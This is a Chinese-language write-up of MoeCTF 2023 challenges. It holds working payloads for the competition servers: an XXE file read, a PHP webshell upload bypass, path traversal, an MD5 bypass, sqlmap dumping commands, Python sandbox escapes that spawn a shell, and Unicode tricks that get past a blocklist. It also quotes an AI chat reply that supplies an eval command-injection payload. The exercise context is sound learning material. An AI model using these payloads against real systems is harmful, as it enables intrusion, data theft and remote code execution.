目录
Ctrl + U 查看源代码,Ctrl + F 搜索moectf,即可发现Flag
1000个页面中有一个页面有flag,写Python脚本遍历
访问http://localhost:4814/uploads/shell.png.php就获得flag
目录穿越、任意文件读取--->发现Fl3g_n0t_Here_dont_peek!!!!!.php
MD5绕过, param1和param2的MD5前面相同即可
直接用记事本打开INTRO_RE.exe,然后搜索moectf即可获得flag
打开pyc反编译的网站在线Python pyc文件编译与反编译 (lddgo.net)
在python交互式终端中,可以通过help函数来进行RCE
Web
http
要求完成5个任务,直接用hackbar完成,获得Flag
也可以在这里改cookie的值
Cookie
附件内容
## 一些api说明
注册 `POST /register`
```json
{
"username":"koito",
"password":"123456"
}
```
登录 `POST /login`
```json
{
"username":"koito",
"password":"123456"
}
```
获取flag `GET /flag`
查询服务状态 `GET /status`
首先使用Postman注册账号
然后登录账号,发现Cookie
JWT.io网站看见是这样的
结合前面,把role角色改成admin
放到Cookie里面,刷新网页获得Flag
彼岸的flag
Ctrl + U 查看源代码,Ctrl + F 搜索moectf,即可发现Flag
gas!gas!gas!
CHALLENGE: gas!gas!gas!
DESCRIPTION: Klutton这个假期信心满满地准备把驾照拿下,于是他仔细地学习了好多漂移视频,还准备了这么一个赛博赛车场;诶,不对,开车好像不是用键盘开的?
写Python脚本
# -*- coding: utf-8 -*-
# @Time : 2023/8/22 11:10
# @Author : Fab1an
# @File : gas.py.py
import requests
import re
url = 'http://localhost:13522/'
headers = {"Content-Type":"application/x-www-form-urlencoded"}
s = requests.Session()
req_post = s.post(
url=url,
data='driver=q1&steering_control=0&throttle=2',
headers=headers)
print(f'cookies = {s.cookies}')
post_data = 'driver=q1jun&steering_control=0&throttle=2'
print(re.findall(r'<h3><font color="red">(.*)</font></h3></div>',req_post.text)[0])
req = req_post.text
steering_control = 0
throttle = 0
for _ in range(7):
if '弯道向左' in req_post.text:
steering_control = 1
if '弯道向右' in req_post.text:
steering_control = -1
if '弯道直行' in req_post.text:
steering_control = 0
if '保持这个速度' in req_post.text:
throttle = 1
if '抓地力太大了' in req_post.text:
throttle = 2
if '抓地力太小了' in req_post.text:
throttle = 0
print(f'{steering_control =}')
print(f'{throttle =}')
req_post = s.post(
url=url,
data=f'driver=q1&steering_control={steering_control}&throttle={throttle}',
headers=headers
)
print(req_post.text)
print(re.findall(r'<h3><font color="red">(.*)</font></h3></div>',req_post.text)[0])
print(f'cookies = {s.cookies}')
获得flag
了解你的座驾
CHALLENGE: 了解你的座驾
DESCRIPTION: 为了极致地漂移,我们准备了一个网站用于查找你喜欢的车车;听说flag也放在里面了,不过不在网站目录放在根目录应该没问题的吧。。。
XXE漏洞
XXE任意文件读取payload
xml_content=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20xxe%20%5B%3C!ELEMENT%20name%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E
大海捞针
CHALLENGE: 大海捞针
DESCRIPTION: 该死,之前的平行宇宙由于flag的泄露被一股神秘力量抹去,我们脱离了与那个宇宙的连接了!不过不用担心,看起来出题人傻乎乎的是具有泄露flag的概率的,我们只需要连接多个平行宇宙...(难道flag在多元宇宙里是全局变量吗)
tips:仅有这道题要用到扫描器,请不要将爆破速度调整过快,flag是一定能找到的
环境:
http://101.42.178.83:7770/
1000个页面中有一个页面有flag,写Python脚本遍历
import requests
url = 'http://101.42.178.83:7770/?id='
for _ in range(1,1001):
print(f'[+] testing No.{_}')
req = requests.get(url=f'{url}{_}')
if 'moectf' in req.text:
print(req.text)
在945个里面
Moe图床
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>moe图床</title>
</head>
<body>
<input type="file" id="fileInput">
<button onclick="uploadFile()">上传</button>
<div id="uploadResult"></div>
<script>
function uploadFile() {
const fileInput = document.getElementById('fileInput');
const file = fileInput.files[0];
if (!file) {
alert('请选择一个文件进行上传!');
return;
}
const allowedExtensions = ['png'];
const fileExtension = file.name.split('.').pop().toLowerCase();
if (!allowedExtensions.includes(fileExtension)) {
alert('只允许上传后缀名为png的文件!');
return;
}
const formData = new FormData();
formData.append('file', file);
fetch('upload.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(result => {
if (result.success) {
const uploadResult = document.getElementById('uploadResult');
const para = document.createElement('p');
para.textContent = ('地址:');
const link = document.createElement('a');
link.textContent = result.file_path;
link.href = result.file_path;
link.target = '_blank';
para.append(link);
uploadResult.appendChild(para);
alert('文件上传成功!');
} else {
alert('文件上传失败:' + result.message);
}
})
.catch(error => {
console.error('文件上传失败:', error);
});
}
</script>
</body>
</html>
Upload.php
<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$tmp_path = $_FILES['file']['tmp_name'];
if ($file['type'] !== 'image/png') {
die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
}
if (filesize($tmp_path) > 512 * 1024) {
die(json_encode(['success' => false, 'message' => '文件太大']));
}
$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);
if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);
if (move_uploaded_file($tmp_path, $uploadFilePath)) {
die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
} else {
die(json_encode(['success' => false, 'message' => '文件上传失败']));
}
}
else{
highlight_file(__FILE__);
}
?>
代码说后缀第二个是.png就可以
题目前端和后端都会校验,先抓包
在BP将后缀改为shell.png.php就可以发包成功
访问http://localhost:4814/uploads/shell.png.php就获得flag
Meo图床
目录穿越、任意文件读取--->发现Fl3g_n0t_Here_dont_peek!!!!!.php
images.php?name=./../../../../../flag
MD5绕过, param1和param2的MD5前面相同即可
/Fl3g_n0t_Here_dont_peek!!!!!.php?param1=s878926199a¶m2=s155964671a
CHALLENGE: 出去旅游的心海
DESCRIPTION: 欢迎来到心海新建的博客!正值假期期间,她抓紧时间出去旅游放松一下,看看她最近都在研究什么?
http://101.42.178.83:7770/
抓包发现一个PHP
<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
Still in development! :)
*/
// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);
// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');
$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机
// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码
$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);
$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);
// 检查连接是否成功
if ($mysqli->connect_errno) {
echo '数据库连接失败: ' . $mysqli->connect_error;
exit();
}
$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";
// 执行插入
$result = mysqli_query($mysqli, $query);
// 检查插入是否成功
if ($result) {
echo '数据插入成功';
} else {
echo '数据插入失败: ' . mysqli_error($mysqli);
}
// 关闭数据库连接
mysqli_close($mysqli);
//gpt真好用
数据插入失败: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1
Sqlmap跑一下,结合连个大佬知识点[WP]MoeCTF 2023 writeup | q1jun's BlogSQL注入一命通关! – fushulingのblog
先抓个POST包保存为payload.txt
POST /wordpress/wp-content/plugins/visitor-logging/logger.php HTTP/1.1
Host: 101.42.178.83:7770
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh-HK;q=0.7,zh;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
ip=183.218.70.153&user_agent=admin&time=1
然后SQLmap跑一把梭,time参数作为注入点
Python sqlmap.py -r "payload.txt" -dbs -p time
Python sqlmap.py -r "payload.txt" -dbs -p time -D wordpress --tables
Python sqlmap.py -r "payload.txt" -dbs -p time -D wordpress -T secret_of_kokomi
--columns
Python sqlmap.py -r "payload.txt" -dbs -p time -D wordpress -T secret_of_kokomi -C content --dump
Crypto
baby_e
直接用B站大佬风二西的工具,选择小e攻击
获得明文
右键选择明文转字符
获得flag
n&n
CHALLENGE: n&n
DESCRIPTION: modulus and modulus~
共模攻击
附件:
from Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
with open("flag.txt","r") as f:
flag = f.read().strip().encode()
m = bytes_to_long(flag)
n = p * q
e1 = 0x114514
e2 = 19198101
c1 = pow(m,e1,n)
c2 = pow(m,e2,n)
print(c1)
print(c2)
print(n)
# 5776799746376051463605370130675046329799612910435315968508603116759552095183027263116443417343895252766060748671845650457077393391989018107887540639775168897954484319381180406512474784571389477212123123540984850033695748142755414954158933345476509573211496722528388574841686164433315356667366007165419697987147258498693175698918104120849579763098045116744389310549687579302444264316133642674648294049526615350011916160649448726069001139749604430982881450187865197137222762758538645387391379108182515717949428258503254717940765994927802512049427407583200118969062778415073135339774546277230281966880715506688898978925
# 4664955020023583143415931782261983177552050757537222070347847639906354901601382630034645762990079537901659753823666851165175187728532569040809797389706253282757017586285211791297567893874606446000074515260509831946210526182765808878824360460569061258723122198792244018463880052389205906620425625708718545628429086424549277715280217165880900037900983008637302744555649467104208348070638137050458275362152816916837534704113775562356277110844168173111385779258263874552283927767924979691542028126412133709129601685315027689094437957165812994784648540588277901241854031439324974562449032290219652206466731675967045633360
# 13612969130810965900902742090064423006385890357159609755971027204203418808937093492927060428980020085273603754747223030702684866992231913349067578014240319426522039068836171388168087260774376277346092066880984406890296520951318296354893551565670293486797637522297989653182109744864444697818991039473180752980752117041574628063002176339235126861152739066489620021077091941250365101779354009854706729448088217051728432010328667839532327286559570597994183126402340332924370812383312664419874352306052467284992411543921858024469098268800500500651896608097346389396273293747664441553194179933758992070398387066135330851531
用风二西的工具,把数值带入,选共模攻击模式即可
giant_e
CHALLENGE: giant_e
DESCRIPTION: 你这个e,红豆泥呆胶布得丝噶?(
维纳攻击
from Crypto.Util.number import getPrime
with open("flag.txt","rb") as fs:
flag = fs.read().strip()
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x609778981bfbb26bb93398cb6d96984616a6ab08ade090c1c0d4fedb00f44f0552a1555efec5cc66e7960b61e94e80e7483b9f906a6c8155a91cdc3e4917fa5347c58a2bc85bb160fcf7fe98e3645cfea8458ea209e565e4eb72ee7cbb232331a862d8a84d91a0ff6d74aa3c779b2b129c3d8148b090c4193234764f2e5d9b2170a9b4859501d07c0601cdd18616a0ab2cf713a7c785fd06f27d68dff24446d884644e08f31bd37ecf48750e4324f959a8d37c5bef25e1580851646d57b3d4f525bc04c7ddafdf146539a84703df2161a0da7a368675f473065d2cb661907d990ba4a8451b15e054bfc4dd73e134f3bf7d8fa4716125d8e21f946d16b7b0fc43
m = int.from_bytes(flag,"big")
c = pow(m,e,n)
print(n) # 0xbaa70ba4c29eb1e6bb3458827540fce84d40e1c966db73c0a39e4f9f40e975c42e02971dab385be27bd2b0687e2476894845cc46e55d9747a5be5ca9d925931ca82b0489e39724ea814800eb3c0ea40d89ebe7fe377f8d3f431a68d209e7a149851c06a4e67db7c99fcfd9ec19496f29d59bb186feb44a36fe344f11d047b9435a1c47fa2f8ed72f59403ebb0e439738fd550a7684247ab7da64311690f461e6dce03bf2fcd55345948a3b537087f07cd680d7461d326690bf21e39dff30268cb33f86eeceff412cd63a38f7110805d337dcad25e6f7e3728b53ca722b695b0d9db37361b5b63213af50dd69ee8b3cf2085f845d7932c08b27bf638e98497239
print(c) # 0x45a9ce4297c8afee693d3cce2525d3399c5251061ddd2462513a57f0fd69bdc74b71b519d3a2c23209d74fcfbcb6b196b5943838c2441cb34496c96e0f9fc9f0f80a2f6d5b49f220cb3e78e36a4a66595aa2dbe3ff6e814d84f07cb5442e2d5d08d08aa9ccde0294b39bfde79a6c6dcd2329e9820744c4deb34a039da7933ddf00b0a0469afb89cba87490a39783a9b2f8f0274f646ca242e78a326dda886c213bc8d03ac1a9150de4ba08c5936c3fe924c8646652ef85aa7ac0103485f472413427a0e9d9a4d416b99e24861ca8499500c693d7a07360158ffffa543480758cafff2a09a9f6628f92767764fa026d48a9dd899838505ae16e38910697f9de14
先把e、n、c的值转换为十进制先
因为e很大,所以猜是维纳工具,我不懂Crypto
获得私钥之后计算明文,明文再转字符
Misc
烫烫烫
看见锟斤拷就想到编码问题
直接UTF-7转码
获得flag
狗子(2) 照片
zsteg 一把梭
base乐队
PWN
test_nc
nc 上去之后,ls -a显示隐藏文件
baby_calculator
CHALLENGE: baby_calculator
DESCRIPTION: 这里有一台计算器,luo希望你可以帮他检查一下OvO
但是手动检查看上去会很困难,希望“pwntools”会帮到你
有100个算式
pwntools是Python的库
from pwn import *
context.log_level = 'debug'
r = remote('127.0.0.1',5443)
for _ in range(100):
r.recvuntil(b'The first:')
n1 = r.recvuntil(b'\n').decode().replace('\n','')
r.recvuntil(b'The second:')
n2 = r.recvuntil(b'\n').decode().replace('\n','')
p = r.recvuntil(b'\n').decode().replace('\n','')
print(f"{n1=}")
print(f"{n2=}")
print(f"{p=}")
_process = p.split("=")[0]
_result = p.split("=")[1]
print(f'_process = {eval(_process)},{"OK!" if str(eval(_process)) == _result else "NO!" }')
r.sendline(b'BlackBird' if str(eval(_process)) == _result else b'WingS' )
r.interactive()
Reverse
Reverse入门指北
直接用记事本打开INTRO_RE.exe,然后搜索moectf即可获得flag
base_64
CHALLENGE: base_64
DESCRIPTION: base64是一种编码方式,不过这个好像有点奇怪?
hint:pyc文件的反编译可以试试pycdc,或者找找在线的反编译工具
附件:
打开pyc反编译的网站在线Python pyc文件编译与反编译 (lddgo.net)
获得源码之后直接问ChatGPT
import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
enc_flag = str1.translate(str.maketrans(string1, string2))
dec_flag = base64.b64decode(enc_flag).decode()
print(dec_flag)
果然可以
Jail Level 0
nc上去之后获得源码
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))
然后直接问AI
这道CTF网络安全大赛的python沙箱逃逸(pyjail)的题目怎么解?
这是源代码:
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))
这是challenge Description:
Hey Guys,I think maybe this is your first encounter with the Jail challenge.
Here is a brief description of the Jail challenge
Your commands and code will run in a restricted environment you need to find a way to bypass the restricted environment to get the flags
Well, as you can see this challenge is a pyjail challenge and uses a menu where you can select functions based on relevant options.
For example, type g to get the source code of the challenge, e to enter the challenge, c to get the description of the challenge, q to exit
The following description is unique to the Challenge Description function of the terminal
I'm glad you understood the purpose of the menu and managed to get here, and I'm sure you've read the source code, but if you're not familiar
with python, I'd recommend checking out https://docs.python.org/3/ and https://www.runoob.com/python3/python3-tutorial.html first.
The function of the code is probably that you can type in some arithmetic expression, like 1+1 and he'll give you 2 back.But your goal is to get
flag use it.
这是Hint for beginner:
1. seems eval function isn't safe
2. maybe it's really useful for u https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
this hint also for next 10 challenge
这个题目是一个 Python 沙箱逃逸(pyjail)挑战,您的目标是绕过沙箱环境限制并获取 flag。题目源代码显示了一个交互式的计算器,您输入一个表达式,然后使用 eval()
函数来计算结果。通过利用这个计算器,您需要找到一种方式来执行可以绕过沙箱限制并获取 flag 的操作。
以下是一个基本的解题思路,但请注意,为了遵守道德和法律准则,我不会在这里提供完整的解决方案。这只是一个指导,您需要在合适的环境下进行实验和测试。
-
分析代码: 首先,仔细分析源代码和提示。代码中的
eval()
函数是一个关键点,而提示中提到eval()
函数并不安全,这可能是解题的关键。 -
查找
eval()
漏洞: 您可以研究eval()
函数的漏洞和绕过技巧。在很多情况下,eval()
函数可能允许执行任意代码,从而绕过沙箱限制。 -
尝试常见绕过技巧: 有些常见的绕过
eval()
函数的技巧可能适用于这个情景,例如使用字符串拼接、调用内置函数等。 -
尝试其他函数: 除了
eval()
函数外,Python 还有其他一些有趣的函数和特性,可能在绕过沙箱时派上用场。 -
阅读文档和资源: 您可以参考给出的链接,了解关于绕过 Python 沙箱的更多技巧和方法。这可以提供更深入的知识。
-
测试和实验: 在合适的环境中,尝试不同的绕过技巧和操作,查看它们是否可以绕过沙箱环境并获取 flag。
记住,沙箱逃逸是一种技术挑战,解题时应遵守法律和道德准则。在实际应用中,需要确保代码的安全性,避免使用不安全的函数和操作。
请举例子和解题思路
当面对这个题目时,您可以采用一种“命令注入”的方式来绕过沙箱并获取 flag。以下是一个可能的解题思路和示例:
解题思路:
-
目标: 代码中的
eval()
函数是一个关键点,我们的目标是在输入中构造一个可以执行的 Python 代码,以绕过沙箱限制。 -
命令注入: Python 沙箱挑战通常涉及输入的处理,您需要通过构造输入来执行额外的代码。在本例中,您可以尝试通过输入构造一个命令注入,使得
eval()
函数执行您的代码。 -
读取 flag 文件: 您的目标是获取 flag。考虑到这一点,您可以尝试读取文件系统中的 flag 文件内容。Python 中有一个内置的
open()
函数可以用来读取文件。
示例:
假设 flag 文件的路径为 /path/to/flag.txt
,您可以构造一个命令注入,从而读取该文件的内容。
尝试输入如下表达式:
__import__('os').popen('cat /path/to/flag.txt').read()
在输入中,__import__('os')
导入了 Python 的 os
模块,popen()
函数用于执行命令并获取输出,read()
函数用于读取命令输出的内容。这样,您可以尝试在输入中使用这些函数,并在执行后获取 flag 的内容。
请注意,这只是一个示例,实际情况可能会因系统环境等因素而有所不同。在解题过程中,您可能需要进行实验和调试,以找到适合的命令注入和代码执行方法。
在实际解题过程中,请确保遵守法律和道德准则,仅在合适的环境中进行测试和实验。
方法二:
当然,我可以提供另一个示例,这次使用字符串拼接来绕过沙箱限制并获取 flag。
示例:
在这个示例中,我们将尝试通过构造字符串拼接来执行额外的代码,以绕过沙箱限制并获取 flag。
假设 flag 文件的路径为 /path/to/flag.txt
,您可以尝试输入如下表达式:
eval("__import__('os').popen('cat /path/to/flag.txt').read()")
在这个示例中,我们构造了一个字符串,其中包含了带有命令注入的代码。然后,我们使用 eval()
函数来执行这个字符串,从而实现在沙箱中执行额外的代码。
请注意,这些示例都是一种思路,具体的解决方法可能需要您根据实际情况进行调整和测试。在解决这类题目时,始终要遵循道德和法律准则,确保您的行为合法和安全。
用方法一即可
猜测flag在根目录,于是查看 ./flag
输入
__import__('os').popen('cat ./flag').read()
Jail Level 1
breakpoint()
就会进到Pdb里面。这里摘抄一下Pdb为何物:
pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。
所以说进到了Pdb里面去之后,就能用一句话RCE了,之后就是为所欲为之为所欲为。
推荐下面的get交互式shell:
__import__('os').system('sh')
Jail Level 2
CHALLENGE: Jail Level 2
DESCRIPTION: 这里是level2 你能用比level1更短的payload解决这个挑战吗
在python交互式终端中,可以通过help
函数来进行RCE
一开始输入help()
,进入到help界面,然后随便找个模块,例如os
输入,此时就会显示os
模块的帮助页面,输入!sh
就能进到shell里面去。
Jail Level 3
参考【西电Moectf2023-Jail-WP】-CSDN博客
下载HTML登录 · 语雀
DESCRIPTION: 这里是level3 和level1有关 但是之前的payload不能直接工作
import re
BANLIST = ['breakpoint']
BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):
raise Exception('Blacklisted word detected! you are hacker!')
print('Answer result: {}'.format(eval(user_input_data)))
经过测试发现使用unicode编码可以绕过breakpoint()黑名单,例如:breakpºint()
手动在终端输入是不行的,需要使用脚本提交,贴上代码
from pwn import *
def start(ss):
p = remote('localhost',52238)
msg = p.recv()
# print(msg)
p.sendline(b'e')
print(p.recv())
p.sendline(ss)
p.interactive()
s='breakpoint()'
#需要绕过的字符串
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("--") in res:
continue
# print("U:{} A:{} ascii:{} ".format(tmp, res, i))
if res in s and len(res)>0:
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
start(s.replace(res,tmp))
# break
except:
pass
Jail Level 4
CHALLENGE: Jail Level 4
DESCRIPTION: 这里是level4 他似乎就是一个简单的复读机 我们该如何逃逸他呢 ?_?
一句话RCE,莽村的莽是这么写的!
__import__('os').system('sh')
Leak Level 0
EXP:
from pwn import *
def start(ss):
p = remote('localhost',9023)
msg = p.recv()
# print(msg)
p.sendline(b'e')
print(p.recv())
p.sendline(b'v')
print(p.recv())
p.sendline(ss)
# p.sendline(b'v')
print(p.recv())
# print(p.recv())
# p.sendline(b"__import__('os').system('cat flag')")
p.interactive()
#需要绕过的字符串
payload='help()'
blacklist='e'
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("--") in res:
continue
# print("U:{} A:{} ascii:{} ".format(tmp, res, i))
if res in blacklist:
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
start(payload.replace(res,tmp))
# break
except:
pass
3